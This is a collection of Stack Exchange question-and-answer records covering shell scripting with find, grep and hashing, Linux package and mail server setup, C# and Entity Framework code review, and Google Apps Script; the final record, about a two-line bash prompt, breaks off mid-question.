{  "id": "_unix.313744"  , "question": "When i run this find command:find /html/car_images/inventory/ -type f -iname \\*.jpg -mtime -4i get output like this:/html/car_images/inventory/16031/16031_06.jpg/html/car_images/inventory/16117/16117_01.jpg/html/car_images/inventory/16126/16126_01.jpg/html/car_images/inventory/16115/16115_01.jpg/html/car_images/inventory/16128/16128_02.jpg/html/car_images/inventory/16128/16128_03.jpg/html/car_images/inventory/16128/16128_04.jpgMy goal is to delete a thumbnail folder that exists in each of these directories (ie delete this folder:  /html/car_images/inventory/16128/thumbnails/   and also delete /html/car_images/inventory/16115/thumbnails/I'm thinking perhaps of a script that takes each line of output from the above find command, then replaces  *.jpg  with thumbnails and adds as a prefix rm -fr such that i end up with this:rm -fr /var/www/html/car_images/inventory/16115/thumbnails/rm -fr /var/www/html/car_images/inventory/16128/thumbnails/and so on...Any ideas on how to do this?   (maybe using the -exec option of find and sed or cut?)(another way to phrase my entire goal is, if a folder contains a .jpg file that is younger than X days, than delete the thumbnails folder, in its folder)  "  , "title": "Use output from find command to then remove a specific directory"  , "tags": "command line;find;rm;command substitution"  , "accepted_answer": "Assuming you don't have filenames with newline(s):find /html/car_images/inventory/ -type f -iname \\*.jpg -mtime -4 \\     -exec sh -c 'echo ${1%/*}' _ {} \\; | sort -u | \\          xargs -d $'\\n' -I{} rm -r {}/thumbnailsThe parameter expansion, ${1%/*} extracts the portion without the filename from each found entrysort -u sorts and then make the entries unique so that we don't have any duplicatexargs -I{} rm -r {}/thumbnails adds thumbnails at the end, and then remove the resultant directory"  } 
{  "id": "_webmaster.61281"  , "question": "I have installed Nginx webserver on my system. I just need to know the IP adress of the server which am running. I have Googled many times but I didn't get a good answer."  , "title": "How do I find my home servers IP address?"  , "tags": "server;ip address"  , "accepted_answer": "If you are on Windows, use the command line and enter ipconfig.If on Linux, enter ifconfig from the terminal to find out your ip address.  I believe it's ifconfig on Mac too."  } 
{  "id": "_unix.50644"  , "question": "I have a virtual machine that I am trying to use. It doesn't seem to have dpkg or apt-get, so I downloaded the source from http://packages.debian.org/sid/dpkg-dev.If I run ./configure followed by make I get$ makemake  all-recursivemake[1]: Entering directory `/home/dbadmin/temp/dpkg-1.16.8'Making all in libmake[2]: Entering directory `/home/dbadmin/temp/dpkg-1.16.8/lib'Making all in compatmake[3]: Entering directory `/home/dbadmin/temp/dpkg-1.16.8/lib/compat'  CC     empty.occ1: error: unrecognized command line option -Wvlamake[3]: *** [empty.o] Error 1make[3]: Leaving directory `/home/dbadmin/temp/dpkg-1.16.8/lib/compat'make[2]: *** [all-recursive] Error 1make[2]: Leaving directory `/home/dbadmin/temp/dpkg-1.16.8/lib'make[1]: *** [all-recursive] Error 1make[1]: Leaving directory `/home/dbadmin/temp/dpkg-1.16.8'make: *** [all] Error 2I tried $ ./configure --disable-compiler-warnings$ maketo get ...  CC     trigproc.o  CC     update.o  CCLD   dpkgarchives.o: In function `tar_writeback_barrier':/home/dbadmin/temp/dpkg-1.16.8/src/archives.c:1139: undefined reference to `sync_file_range'archives.o: In function `fd_writeback_init':/home/dbadmin/temp/dpkg-1.16.8/src/archives.c:77: undefined reference to `sync_file_range'collect2: ld returned 1 exit statusmake[2]: *** [dpkg] Error 1make[2]: Leaving directory `/home/dbadmin/temp/dpkg-1.16.8/src'make[1]: *** [all-recursive] Error 1make[1]: Leaving directory `/home/dbadmin/temp/dpkg-1.16.8'make: *** [all] Error 2This is my machine$ uname -aLinux server.name.domain.tld 2.6.18-194.26.1.el5xen #1 SMP Fri Oct 29 14:30:03 EDT 2010 x86_64 x86_64 x86_64 GNU/LinuxHow should I go about getting a functional package manager on this?Update:$ gcc --versiongcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-51)"  , "title": "Can't install dpkg on Linux 2.6.18"  , "tags": "linux;software installation;dpkg"  , "accepted_answer": "Dpkg is designed to work on Debian and Debian-like distributions. It can be difficult to compile on other systems, and you wouldn't be able to use it effectively anyway. Also, a kernel version of 2.6.18 is ancient (I smell CentOS 5), only an older version of dpkg has a chance of working.gcc --version gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-51)So you have a Red Hat distribution: RHEL or a repackaging thereof such as CentOS. The basic package manipulation tool (the equivalent of dpkg) on Red Hat distributions is rpm. The high-level package manipulation tool (the equivalent of apt-get) is yum.For more systematic ways of determining which distribution a Linux machine is running, see How to write a script that effectively determines distro name?. If you're lucky, lsb-release -si will give you the answer. Otherwise, look for indicative files such as /etc/*release* or /etc/*version*."  } 
{  "id": "_unix.13801"  , "question": "Suppose a photograph with text and numbers. I want to manage it in my editor with tools such as grep, standard text-processing things such as Vim's block-highlighting and also more advanced things such as Gimp's magic-wand-style pattern highlighting. How?Analysis This puzzle breaks down at least to partsOCR -- character recognizationDSP -- proximity -algos, all puzzles not yet knownAscii-art -- creating fillers and decorators (not technical term)For the sake of simplicity, suppose the writing is line-wise so you do  not need to consider reprocessing multiple-lined documents. There is  some working-prototype that does pretty good job in small scale with  LaTex here, the multiple lined problem follows later."  , "title": "Image (having text-and-numbers) to text-file matching [:alnum:] nicely with some Unix -tool?"  , "tags": "image manipulation;ascii;ocr;dsp"  } 
{  "id": "_unix.251303"  , "question": "I was trying to set compression for jboss log files. The log files I want to compress are console.log and server.log. Compression for console.log is working fine, but server.log I am seeing issues. I am using logrotate for using compression . Please find my rules below . $cat /etc/logrotate.d/jboss  /data/logs/*/console.log /data/logs/*/server.log { daily rotate 14 copytruncate compress missingok postrotate  # Service restarts go here. endscript}log files are named as follows-rw-rw-r--  1 jboss logs      139 Dec 21 03:23 console.log-20151221.gz-rw-rw-r--  1 jboss logs 12195934 Dec 21 23:59 server.log.2015-12-21-rw-rw-r--  1 jboss logs     1383 Dec 22 03:40 console.log-20151222.gz-rw-rw-r--  1 jboss logs 12157917 Dec 22 23:59 server.log.2015-12-22-rw-rw-r--  1 jboss logs     1037 Dec 23 03:32 console.log-20151223.gz-rw-rw-r--  1 jboss logs 11966496 Dec 23 23:59 server.log.2015-12-23-rw-rw-r--  1 jboss logs      142 Dec 24 03:10 console.log-20151224.gz-rw-rw-r--. 1 jboss logs      113 Dec 24 12:27 console.log-rw-rw-r--  1 jboss logs  8730030 Dec 24 17:35 server.logPlease suggest .   "  , "title": "log compression using logrotate"  , "tags": "logs;compression;logrotate;jboss"  } 
{  "id": "_scicomp.5366"  , "question": "For your information, the original equation comes from here. Note: You DON'T have to read the paper. I will make the question as self-contained as possible.The central equation to solve is equation (16), which is of the form (my question extends to other system of PDE with similar form):$\\dfrac{\\partial f_n(x;\\tau)}{\\partial \\tau}=\\left[[-(n-6)+\\dot{\\bar{A}}x]\\dfrac{\\partial}{\\partial x}+2\\dot{\\bar{A}}-(c_++c_-)n\\right]f_n(x;\\tau)+c_+(n-1)f_{n-1}(x;\\tau)+c_-(n+1)f_{n+1}(x;\\tau)$$x$ is continuous and positive, $\\tau$ is basically time, $n$ is positive integer number and $f_n(x;t)$ goes to zero very quickly as $x\\rightarrow\\infty$ so that we can have a cutoff $x_{max}$. The boundary conditions used by the paper is called used open boundary conditions, i.e., probability ($f_n(x;\\tau)$ is proportional to probability density) could flow out of the system across the cutoffs, but no probability could flow into the system, since $f_n(x)$vanished beyond the cutoffs.additional clarifications for the symbols: $\\dot{\\bar{A}}=\\sum_{k=0}^5(6-k)f_k(0;\\tau)$, $c_+=(1/6)f_5(0;\\tau)$ and $c_-=(1/6)\\sum_{k=0}^5(6-k)f_k(0;\\tau)$.My understanding of the above description is that the BC looks like some kind of absorbing boundary conditions. The mass of $f_n$ can flow outside the interval $[0,x_{max}]$ but nothing outside can flow into the interval, such that the integral of $f_n(x;\\tau)$ over the interval will decrease with time.If we discretize $x$, it's not very difficult to write a program for explicit scheme according to the above description, but the implicit scheme would be difficult (there are two index $x$ and $n$). So my question is: how to write down the mathematical statement (for continuous $x$) for such boundary conditions? The motivation for writing down a mathematical statement instead of directly writing down the BC for discretized $x$ is that I can let software such as Mathematica. Then why don't I ask the question in Mathematica exchange? Yes, I did. But the folks there seemingly thinks that I should figure out the mathematical statement first."  , "title": "mathematical statement of open boundary condition"  , "tags": "pde;hyperbolic pde;boundary conditions"  } 
{  "id": "_webapps.56538"  , "question": "I didn't get a Facebook look back movie. I've been on Facebook since it was thefacebook in 2005 and I've shared my little heart out. Anybody know if the automated video is linked to security settings or other things that might be locking me out? I get the lame collage of 6 pictures that were all posted in the last week. No, thanks. I'd rather have a movie."  , "title": "Collage of six photos, not Facebook Lookback movie"  , "tags": "facebook;facebook lookback"  } 
{  "id": "_scicomp.11627"  , "question": "Is there a C++/C implementation of the Appell series? GSL and Boost do not seem to have this function."  , "title": "Appell function implementation in C++?"  , "tags": "c;special functions"  } 
{  "id": "_webapps.70699"  , "question": "When I get an email from someone in Gmail, there's a list of names of other people at the top who also received this email.  My name is always listed as, me instead of my email name. Is there any way I can change this to my email name?"  , "title": "Show actual name instead of me in Gmail received emails"  , "tags": "gmail"  } 
{  "id": "_unix.60261"  , "question": "When using grep -r you could search in all files with either * or .and it seems to return the same thing but is it really the same?Let's say I search for foo, then I could write grep -r foo *orgrep -r foo .Would anyone try to explain the difference between .  and *?"  , "title": "grep -r foo * vs grep -r foo ."  , "tags": "grep;wildcards"  , "accepted_answer": "grep -r foo * doesn't look for matches in hidden files or directories,also * is expanded by the shell so you might end up with an Argument list too long error when there are a lot of entries in the current directory, or some other errors or misbehaviour if the name of some of the files or directories starts with a dash character. Invocation grep -r foo . doesn't have the above flawsUpdated:Another difference: grep's man page (@fedora17) says: -r, --recursive    Read all files under each directory, recursively, following symbolic links only if they    are on  the  command  line.  ...There will be also a difference when you execute this command in an empty directory:$ grep -r foo *; echo $?grep: *: No such file or directory2$ grep -r foo .; echo $?1$"  } 
{  "id": "_codereview.163019"  , "question": "I need to learn more about Entity Framework, so I created a database to store notes. The database definition is as follows:public class User{    [Key]    public int UserId { get; set; }    [MaxLength(20)]    public string UserName { get; set; }    public virtual List<Note> Notes { get; set; }}public class Note{    [Key]    public int NoteId { get; set; }    [MaxLength(30)]    public string Title { get; set; }    [MaxLength(200)]    public string Content { get; set; }    public int UserId { get; set; }    public virtual User User { get; set; }}public class NotesContext : DbContext{    public DbSet<User> Users { get; set; }    public DbSet<Note> Notes { get; set; }}I wrote the following helper functions (I'm working off a Console Application for now):class Program{    private static void AddUser(string userName)    {        using (var db = new NotesContext())        {            db.Users.Add(new User { UserName = userName });            db.SaveChanges();        }    }    private static void RemoveUser(int userId)    {        using (var db = new NotesContext())        {            var user = db.Users.FirstOrDefault(u => u.UserId == userId);            if (user != null)            {                db.Users.Remove(user);                db.SaveChanges();            }        }    }    private static void ClearUsers()    {        using (var db = new NotesContext())        {            db.Users.RemoveRange(db.Users);            db.SaveChanges();        }    }    private static void AddNote(int userId, string title, string content)    {        using (var db = new NotesContext())        {            db.Notes.Add(new Note { UserId = userId, Title = title, Content = content });            db.SaveChanges();        }    }    private static void RemoveNote(int noteId)    {        using (var db = new NotesContext())        {            var note = db.Notes.FirstOrDefault(u => u.NoteId == noteId);            if (note != null)            {                db.Notes.Remove(note);                db.SaveChanges();            }        }    }    private static void ClearNotes()    {        using (var db = new NotesContext())        {            db.Notes.RemoveRange(db.Notes);            db.SaveChanges();        }    }}Other than the fact that it would be somewhat expensive to add or remove a set of users using these extensions, rather than getting one DB instance, updating it, and running SaveChanges() once, is there anything I should be doing differently?"  , "title": "Code-First Notes Database"  , "tags": "c#;entity framework"  } 
{  "id": "_unix.294562"  , "question": "If you have a series of sub folders (like from a to z) and want to run a command on each one of them (like dsmmigrate * & ) how do you do that? The manual approach would be,cd a dsmmigrate * &cd ../bThat seems too complicated, so I believe there must be an easier approach. "  , "title": "How to Run a command on all subfolders"  , "tags": "shell;files;wildcards"  } 
{  "id": "_unix.251174"  , "question": "Using Cygwin, I installed Environment Modules by downloading source code, running configure, make, and make install. Every time I run a module command, I get:init.c(718):WARN:165: Cannot set TCL variable '!::'I've traced this down to the fact that Cygwin has the following environment variable set:$ env | grep ::!::=::\\Does anyone know what this is, where it is set, why it might be necessary, or how to get rid of it?I might add that it's exceedingly difficult to Google, or even get to display correctly in Markdown.From the comments:$ unset '!::' -bash: unset: `!::': not a valid identifier"  , "title": "Strange environment variable !::=::\\ in Cygwin"  , "tags": "environment variables;cygwin"  , "accepted_answer": "This is nothing to do with Unix or Linux.  It's entirely Win32 and Cygwin.As first discussed in the Microsoft doco for Win32 and various Win32 programmers guides almost a quarter of a century ago, the Windows NT kernel doesn't have a notion of multiple drives each with their own individual working directories.  This MS-DOS paradigm is emulated in Win32 using environment variables, not normally displayed by Win32 command interpreters' set commands (but fairly easily accessible programmatically), with names in the form =D: (where D is a drive letter).  This pretense of multiple working directories, just like good old MS-DOS, is a shared fiction consulted and maintained by the Win32 API, Microsoft's command interpreter cmd, and the runtime libraries for various languages including some C and C++ compilers.When a Cygwin process starts up, it converts the Win32 environment block into a more UNIX-y form.  It has a whole set of hardwired special conversion rules for various specific variables, such as PATH.  It's not in the Cygwin doco, but it also likewise deals with the =D:=D:\\path environment strings by converting the leading = into a !.  This yields environment strings, as Cygwin program execution sees them, of the form !D:=D:\\path.  It reverses this conversion when it needs to generate a new Win32 environment for whatever reason, such as spawning a new process, turning the ! back into a =.To get Microsoft's command interpreter to display these environment variables, one simply runs set  whereupon one will see output beginning something like =C:=C:\\Users\\Jim…Sometimes, an extra one of these environment variables crops up, with : as the drive letter.  Running the same set command as above yields output beginning =::=::\\=C:=C:\\Users\\Jim…After this has been made more UNIX-y by Cygwin, this is of course the very !::=::\\ that you are seeing.Because these are a mechanism that is embedded within Win32 applications (within Microsoft's command interpreter most especially) and that is partly entangled in the Win32 API itself, it's not exactly trivial to prevent their existence.Further readingCreateProcess(). Microsoft Win32 Programmer's Reference: Functions, A–G.  Microsoft Press.  1993. ISBN 9781556155178. p. 213.Jeffrey Richter (1995).  Advanced Windows: The Developer's Guide to the Win32 API for Windows NT 3.5 and Windows 95. Microsoft Press. ISBN 9781556156779. pp. 26–27."  } 
{  "id": "_unix.333854"  , "question": "I  have fedora 25 running with dual head, and I have named each screen/monitor/device in xorg.conf, yet in the display settings they show up as 'Unknown Display'.Is there a way to force Fedora to use the xorg.conf names?  Or perhaps rename them in Fedora?"  , "title": "Naming displays in Fedora 25's settings"  , "tags": "fedora;xorg;graphics;dual monitor"  } 
{  "id": "_unix.211629"  , "question": "how is this possible: [root@oda001-d0 .ACFS]# pwd/OVS/Repositories/repo1/.ACFS[root@oda001-d0 .ACFS]# ls -la ..total 148drwxr-xr-x 8 root root  4096 Jun 23 11:45 .drwxr-xr-x 5 root root  4096 Jun 23 14:18 ..drwxr-xr-x 6 root root  8192 Jun 23 17:13 Locksdrwx------ 2 root root 65536 Jun 23 11:45 lost+found-rw-r--r-- 1 root root  8316 Jun 23 17:11 oakres.xmldrwxr-xr-x 2 root root  8192 Jun 23 11:45 Templatesdrwxr-xr-x 2 root root  8192 Jun 23 11:45 VirtualDisksdrwxr-xr-x 2 root root  8192 Jun 23 11:45 VirtualMachines[root@oda001-d0 .ACFS]#You see, the directory we currently are in is not listed in the parent directory. This directory must be hidden in a way that it cannot be found with  ls -la, but I have no idea how. Even find does not find this folder. What kind of sorcery it this? Directory /OVS/Repositories/repo1 is imported via NFS:192.168.16.10:/u01/app/sharedrepo/repo1 on /OVS/Repositories/repo1 type nfs (rw,bg,hard,nointr,rsize=32768,wsize=32768,tcp,actimeo=0,nfsvers=3,timeo=600,addr=192.168.16.10)It's an acfs on NFS-server-side:/dev/asm/repo1-399 on /u01/app/sharedrepo/repo1 type acfs (rw)Is this some special ACFS-magic? But if yes, how does this get through NFS?...and do developers at Oracle sit there, laughing, thinking of people actually searching files in this directory? As I am told to by their docs?"  , "title": "Completely hidden directory on ACFS imported via NFS"  , "tags": "filesystems;ls"  } 
{  "id": "_unix.248291"  , "question": "I'm trying to apply SHA256 and then Base64 encode a string inside a shell script. Got it working with PHP:php -r 'echo base64_encode(hash(sha256, asdasd, false));'. But I'm trying to get rid of the PHP dependency.Got this line that works well in the terminal (using the fish shell):$ echo -n asdasd | shasum -a 256 | cut -d   -f 1 | xxd -r -p | base64X9kkYl9qsWoZzJgHx8UGrhgTSQ5LpnX4Q9WhDguqzbg=But when I put it inside a shell script, the result differs:$ cat foo.sh#!/bin/shecho -n asdasd | shasum -a 256 | cut -d   -f 1 | xxd -r -p | base64$ ./foo.shIzoDcfWvzNTZi62OfVm7DBfYrU9WiSdNyZIQhb7vZ0w=How can I make it produce expected result? My guess is that it's because of how binary strings are handled?"  , "title": "Apply SHA256 and Base64 to string in script"  , "tags": "shell script;scripting;binary;hashsum;base64"  , "accepted_answer": "The problem is that you are using different shells. The echo command is a shell builtin for most shells and each implementation behaves differently. Now, you said your default shell is fish. So, when you run this command:~> echo -n asdasd | shasum -a 256 | cut -d   -f 1 | xxd -r -p | base64X9kkYl9qsWoZzJgHx8UGrhgTSQ5LpnX4Q9WhDguqzbg=you will get the output shown above. This is because the echo of fish supports -n. Apparently, on your system, /bin/sh is a shell whose echo doesn't support -n. If the echo doesn't understand -n, what is actually being printed is -n asdasd\\n. To illustrate, lets use printf to print exactly that:$ printf -- -n asdasd\\n -n asdasdNow, if we pass that through your pipeline:$ printf -- -n asdasd\\n | shasum -a 256 | cut -d   -f 1 | xxd -r -p | base64IzoDcfWvzNTZi62OfVm7DBfYrU9WiSdNyZIQhb7vZ0w=Thats the output you get from your script. So, what happens is that echo -n asdasd is actually printing the -n and a trailing newline. A simple solution is to use printf instead of echo:$ printf asdasd | shasum -a 256 | cut -d   -f 1 | xxd -r -p | base64X9kkYl9qsWoZzJgHx8UGrhgTSQ5LpnX4Q9WhDguqzbg=The above will work the same on the commandline and in your script and should do so with any shell you care to try. Yet another reason why printf is better than echo. "  } 
{  "id": "_unix.152219"  , "question": "I have a linux user thomas and 2 domain names domain1.com and domain2.com. I have followed steps to have two virtual mail boxes /var/mail/vhosts/domain[12].com/When I test and send an email to thomas@domain2.com, it lands in /var/mail/vhosts/domain2.com/thomas/...When I send it to thomas@domain1.com, it lands in /var/mail/thomas. However, dovecot looks into /var/mail/vhosts/%d/%n. How can I fix that ?"  , "title": "Postfix favors non virtual to virtual host"  , "tags": "postfix;dovecot"  } 
{  "id": "_codereview.154208"  , "question": "I have coded a prize system in where I add a prize in the database and it calls the CheckPrizes(player) every time a player logs in to the application. I won't go in to detail of how they log in but thats the basics of it.PrizeManager.cs:using System;using System.Collections.Concurrent;using System.Collections.Generic;using System.Data;using System.Linq;using Sahara.Base.Game.Players;namespace Sahara.Base.Game.Prizes{    internal sealed class PrizeManager    {        private readonly ConcurrentDictionary<int, Prize> _prizes;        private readonly ConcurrentDictionary<int, List<int>>  _prizeLogs;        public PrizeManager()        {            _prizes = new ConcurrentDictionary<int, Prize>();            _prizeLogs = new ConcurrentDictionary<int, List<int>>();            LoadPrizes(false);        }        private void LoadPrizes(bool clearBefore)        {            if (clearBefore && _prizes.Count > 0)            {                _prizes.Clear();            }            using (var mysqlConnection = Sahara.GetServer().GetMySql().GetConnection())            {                mysqlConnection.OpenConnection();                mysqlConnection.SetQuery(SELECT * FROM `server_rewards` WHERE `enabled` = @enabled);                mysqlConnection.AddParameter(enabled, 1);                var dataTable = mysqlConnection.GetTable();                if (dataTable == null)                {                    return;                }                foreach (DataRow prizeRow in dataTable.Rows)                {                    _prizes.TryAdd(Convert.ToInt32(prizeRow[id]), new Prize(Convert.ToInt32(prizeRow[id]), Convert.ToInt32(prizeRow[reward_start]), Convert.ToInt32(prizeRow[reward_end]), Sahara.GetServer().GetUtility().GetPrizeTypeFromString(Convert.ToString(prizeRow[reward_type])), Convert.ToString(prizeRow[reward_data]), Convert.ToString(prizeRow[message])));                }                mysqlConnection.CloseConnection();            }        }        public void CheckPrizes(Player player)        {            if (player?.GetPlayerData() == null)            {                return;            }            foreach (var prizeEntry in _prizes.Where(prizeEntry => !ReceivedPrize(player.GetPlayerData().PlayerId, prizeEntry.Key)).Where(prizeEntry => prizeEntry.Value.Ready()))            {                prizeEntry.Value.OnReceive(player);            }        }        public void LogReceivedPrize(int playerId, int prizeId)        {            if (!_prizeLogs.ContainsKey(playerId))            {                _prizeLogs.TryAdd(playerId, new List<int>());            }            if (!_prizeLogs[playerId].Contains(prizeId))            {                _prizeLogs[playerId].Add(prizeId);            }            using (var mysqlConnection = Sahara.GetServer().GetMySql().GetConnection())            {                mysqlConnection.OpenConnection();                mysqlConnection.SetQuery(INSERT INTO `server_reward_logs` VALUES (@playerId, @prizeId));                mysqlConnection.AddParameter(playerId, playerId);                mysqlConnection.AddParameter(prizeId, prizeId);                mysqlConnection.RunQuery();                mysqlConnection.CloseConnection();            }        }        private bool ReceivedPrize(int playerId, int prizeId) => _prizeLogs.ContainsKey(playerId) && _prizeLogs[playerId].Contains(prizeId);    }}Prize.cs:using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threading.Tasks;using Sahara.Base.Game.Players;using Sahara.Core.Net.Messages.Outgoing.Packets.Inventory.Purse;namespace Sahara.Base.Game.Prizes{    internal sealed class Prize : IPrize    {        private readonly int _prizeId;        private readonly int _prizeStart;        private readonly int _prizeEnd;        private readonly PrizeType _prizeType;        private readonly string _prizeData;        private readonly string _prizeMessage;        public Prize(int prizeId, int prizeStart, int prizeEnd, PrizeType prizeType, string prizeData, string prizeMessage)        {            _prizeId = prizeId;            _prizeStart = prizeStart;            _prizeEnd = prizeEnd;            _prizeType = prizeType;            _prizeData = prizeData;            _prizeMessage = prizeMessage;        }        public bool Ready()        {            var now = Sahara.GetServer().GetUtility().GetUnixNow();            return (now >= _prizeStart && now <= _prizeEnd);        }        public void OnReceive(Player player)        {            switch (_prizeType)            {                case PrizeType.None:                    return;                case PrizeType.Badge:                    if (!player.GetPlayerData().GetBadgeManagement().HasBadge(_prizeData))                    {                        player.GetPlayerData().GetBadgeManagement().GiveBadge(_prizeData, true);                    }                    break;                case PrizeType.Credits:                    player.GetPlayerData().Credits += Convert.ToInt32(_prizeData);                    player.SendMessage(new CreditBalanceMessageComposer(player.GetPlayerData().Credits));                    break;                case PrizeType.Duckets:                    player.GetPlayerData().Duckets += Convert.ToInt32(_prizeData);                    player.SendMessage(new HabboActivityPointNotificationMessageComposer(player.GetPlayerData().Duckets, Convert.ToInt32(_prizeData)));                    break;                case PrizeType.Diamonds:                    player.GetPlayerData().Diamonds += Convert.ToInt32(_prizeData);                    player.SendMessage(new HabboActivityPointNotificationMessageComposer(player.GetPlayerData().Diamonds, Convert.ToInt32(_prizeData)));                    break;                default:                    throw new ArgumentOutOfRangeException();            }        }    }}PrizeType.csusing System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threading.Tasks;namespace Sahara.Base.Game.Prizes{    internal enum PrizeType    {        Credits,        Badge,        Duckets,        Diamonds,         None,    }   }GetUnixNow method:public double GetUnixNow(){    var ts = (DateTime.Now - new DateTime(1970, 1, 1, 0, 0, 0));    return ts.TotalSeconds;}}"  , "title": "Player prize system"  , "tags": "c#"  } 
{  "id": "_unix.178925"  , "question": "I am playing around with -exec flag of find command. I am trying to use the flag to print the extension name of files, using a fairly new Linux distribution release.Starting simple, this works:find . -type f -exec echo {} \\;An attempt to use convenient Bash string feature fails:find . -type f -exec echo ${{}##*.} \\; (bad substitution)So what should be the correct way to do it?"  , "title": "Print file name extension using -exec in find"  , "tags": "shell;find;filenames;parameter;variable substitution"  , "accepted_answer": "If you want to use shell parameter expansion then run some shell with exec:find . -type f -exec sh -c 'echo ${0##*.}' {} \\;"  } 
{  "id": "_unix.278194"  , "question": "gcc version 5.3.0 20151204 (Ubuntu 5.3.0-3ubuntu1~14.04) I have a problem with g++ When I search for g++ I find nothing!So I tried to install it; it seems like g++ is already installed and it's the newest one!arubu@CQ56-LinuxMachine:~$ which g++arubu@CQ56-LinuxMachine:~$ sudo apt-get install g++[sudo] password for arubu: Reading package lists... DoneBuilding dependency tree       Reading state information... Doneg++ is already the newest version.g++ set to manually installed.The following packages were automatically installed and are no longer required:  libgranite-common libgranite1 libkeybinder-3.0-0Use 'apt-get autoremove' to remove them.0 upgraded, 0 newly installed, 0 to remove and 8 not upgraded.arubu@CQ56-LinuxMachine:~$ g++ -vThe program 'g++' is currently not installed. You can install it by typing:sudo apt-get install g++"  , "title": "problem finding g++ program, despite it being installed"  , "tags": "software installation;g++"  , "accepted_answer": "You should force the re-installation of the g++ package; this will restore the appropriate symbolic links:sudo apt-get --reinstall install g++Once this is done you should find that /usr/bin/g++ exists once again and is a symbolic link to g++-5."  } 
{  "id": "_webapps.79848"  , "question": "I have written the following codefunction myFunction(e){  var options={cc: 'x@abc.com'};  MailApp.sendEmail(e.values[2], New SMS Blast request, A new SMS blast request has been entered, the particulars are:+                    \\n\\n SMS Blast city:+e.values[3]+                    \\n\\n SMS Blast Date:+e.values[7]+                   \\n\\n SMS Blast time:+e.values[8]+                   \\n\\n SMS Blast objective:+e.values[4]+                   \\n\\n SMS Blast Base:+e.values[5]+                   \\n\\n SMS content:+e.values[10]+                    \\n\\n To approve or deny the request, kindly go to the following link:+                   \\n\\n xxxxxx+                   \\n\\n Data team, kindly share the SMS base once the request has been approved and enter the SMS base volume in the tracker+                    \\n\\n SMS Team, kindly send the SMS once the data has been shared, options)  var ss = SpreadsheetApp.getActiveSpreadsheet();  var requestSheet= ss.getSheetByName(SMS Blast Request);  var column = requestSheet.getRange('K:K');  var columnValues= column.getValues();  var row = 1;  while ( columnValues[row-1][0] !=  ) {    row++;  }  if(e.values[6]==One Time){    requestSheet.getRange(row, 1).setValue(e.values[3]);    requestSheet.getRange(row, 2).setValue(e.values[7]);    requestSheet.getRange(row, 3).setValue(e.values[8]);    requestSheet.getRange(row, 4).setValue(e.values[4]);    requestSheet.getRange(row, 5).setValue(e.values[5]);    requestSheet.getRange(row, 7).setValue(e.values[9]);    requestSheet.getRange(row, 8).setValue(e.values[10]);    requestSheet.getRange(row, 11).setValue(1);  }  else{    var campaignDuration=e.values[14]-e.values[13]+1;    var numOfSMS;    var SMSInterval;    if(e.values[15]==Daily){      numOfSMS=campaignDuration;      SMSInterval=1;    }    else if(e.values[15]==Weekly){      numOfSMS=campaignDuration/7;      SMSInterval=7;    }    else{      numOfSMS=campaignDuration/2;      SMSInterval=2;    }for(var i=0;i<numOfSMS;i++){  requestSheet.getRange(row, 1).setValue(e.values[3]);  requestSheet.getRange(row, 2).setValue(e.values[11]+SMSInterval*i);  requestSheet.getRange(row, 3).setValue(e.values[14]);  requestSheet.getRange(row, 4).setValue(e.values[4]);  requestSheet.getRange(row, 5).setValue(e.values[5]);  requestSheet.getRange(row, 7).setValue(e.values[15]);  requestSheet.getRange(row, 8).setValue(e.values[16]);  requestSheet.getRange(row, 11).setValue(1);  row=row+1;    }  }}The above code basically takes the input of a form and then populates a google spreadsheet according to the responses of the form.I selected the SMS type(e.values[6]): One Time and filled in the following valuesCity: NYCDate:1/1/2015Time:1:00:00 AMObjective: AttachmentBase: UberContent: TestAs written in the code, I received a mail with all the values written correctly. However, in the spreadsheet, where the code is supposed to set the values, only city, objective and base are getting set correctly. The date column is getting the value 0 and the rest of the columns are blank.I have tried many different things to solve this issue: I have tried setting the values using e.namedVAlues[] instead of e.values. I have also tried changing the array indices of e.values inside the setValue() bracket. However, even after changing the index, the function is populating the same values. I have checked both logs and execution transcripts and found the all the elements of e.values[] array are getting correct values. This has led me to believe that the problem lies only with the setValue function and it is not able to set some of these values for some reason.Can anybody please explain me what is the solution to this problem or what is wrong with the code?"  , "title": "Google Script: setValue function on form submit"  , "tags": "google apps script;google forms"  } 
{  "id": "_unix.191004"  , "question": "The idea of my PS1 configuration is to show some extended info like Mercurial or Git repo status, command execution time, etc. The prompt is split by two lines because it produces too many characters to fit into a single line. Here is my PS1 in my .bashrc (not sure if the entire source code is necessary here, hope it helps):function prompt_status {        local color_app=\\e[1;38;5;214m        local color_branch=\\e[1;38;5;32m        local color_revision=\\e[0;38;5;64m        if git rev-parse --is-inside-work-tree &> /dev/null; then                local branch=$(git rev-parse --abbrev-ref HEAD | tr -d '\\n')                local revision=$(git rev-parse HEAD | tr -d '\\n')                echo -ne $color_appgit $color_branch$branch $color_revision($revision)        elif hg status &> /dev/null; then                local branch=$(hg branch | tr -d '\\n')                local revision_number=$(hg identify -n | tr -d '\\n')                local revision=$(hg parent --template '{node}' | tr -d '\\n')                echo -ne $color_apphg $color_branch$branch $color_revision($revision_number:$revision)        else                return        fi        echo -e  \\e[0m}function prompt_return_value {        RET=$?        if [[ $RET -eq 0 ]]; then                echo -ne  #echo -ne \\e[32m$RET\\e[0m        else                echo -ne \\e[1;37;41m$RET\\e[0m         fi}function timer_start {        timer=${timer:-$SECONDS}}function timer_stop {        seconds_elapsed=$(($SECONDS - $timer))        unset timer}function prompt_seconds_elapsed {        local c;        local t=${seconds_elapsed}s        if [ $seconds_elapsed -ge 60 ]; then                c=196                t=$(format_seconds $seconds_elapsed)        elif [ $seconds_elapsed -ge 20 ]; then                c=214        elif [ $seconds_elapsed -ge 10 ]; then                c=100        elif [ $seconds_elapsed -ge 5 ]; then                c=34        elif [ $seconds_elapsed -ge 1 ]; then                c=22        else                return        fi        echo -ne \\e[0;38;5;${c}m${t} \\e[0m}function format_seconds {        ((h=${1}/3600))        ((m=(${1}%3600)/60))        ((s=${1}%60))        printf %02d:%02d:%02d\\n $h $m $s}trap 'timer_start' DEBUGPROMPT_COMMAND=timer_stopexport PS1=\\n\\e[1;38;5;106m\\u@\\h \\e[0;38;5;136m\\w\\[\\e[0m\\]\\n\\$(prompt_return_value)\\$(prompt_seconds_elapsed)\\$(prompt_status)\\$ The problem is that the prompt looks broken when a terminal window has small width. This is what I get for 80 columns:username@some-very-long-hostname ~/tmp/d06a14b06cac) $ 